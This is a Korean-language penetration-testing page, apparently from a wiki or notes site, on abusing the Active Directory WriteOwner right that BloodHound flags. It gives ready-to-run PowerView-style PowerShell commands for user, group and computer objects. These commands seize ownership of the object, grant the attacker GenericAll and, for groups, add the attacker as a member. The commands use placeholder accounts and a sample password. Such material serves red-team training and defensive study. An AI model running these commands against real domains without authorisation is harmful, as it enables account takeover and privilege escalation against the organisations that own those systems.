WriteOwner
객체에 대해 Modify owner 권한을 가졌다면 블러드하운드에서 WriteOwner로 표시되며 이것은 대상의소유권을 변경할 수 있는 권한입니다. 소유권이 변경된 이후 추가적인 공격 방식은 대상의 유형이 어떤 것이냐에 따라 달라집니다. 아래 표는 소유권 변경 이후 진행할 수 있는 공격에 대해 간단히 정리한 테이블입니다.
분류
권한 악용
User
소유권 변경 → GenericAll 권한 위임
Group
소유권 변경 → AddMembers 권한 위임
Computer
소유권 변경 → GenericAll 권한 위임
User

# 권한이 있는 user-A 자격 증명을 변수로 저장
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('contoso\user-A', $SecPassword)
# user-B의 owner를 user-A로 변경
Set-DomainObjectOwner -Credential $Cred -SamAccountName "user-B" -OwnerIdentity "user-A"
# GenericAll 권한 위임
Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'user-B' -Rights 'all' -PrincipalIdentity 'user-A'
Group

# 권한이 있는 user-A 자격 증명을 변수로 저장
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('contoso\user-A', $SecPassword)
# 소유권 변경
Set-DomainObjectOwner -Credential $Cred -Identity 'local_member' -OwnerIdentity 'user-A'
# GenericAll 권한 위임
Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'local_member' -Rights 'all' -PrincipalIdentity 'user-A'
# 멤버 추가
Add-DomainGroupMember -Identity 'local_member' -Members 'user-A' -Credential $Cred
Computer

# 권한이 있는 user-A 자격 증명을 변수로 저장
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('contoso\user-A', $SecPassword)
# 소유권 변경
Set-DomainObjectOwner -Credential $Cred -Identity local-machine$ -OwnerIdentity user-A
# GenericAll 권한 위임
Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'local-machine$' -Rights 'all' -PrincipalIdentity 'user-A'
References
Last updated
Was this helpful?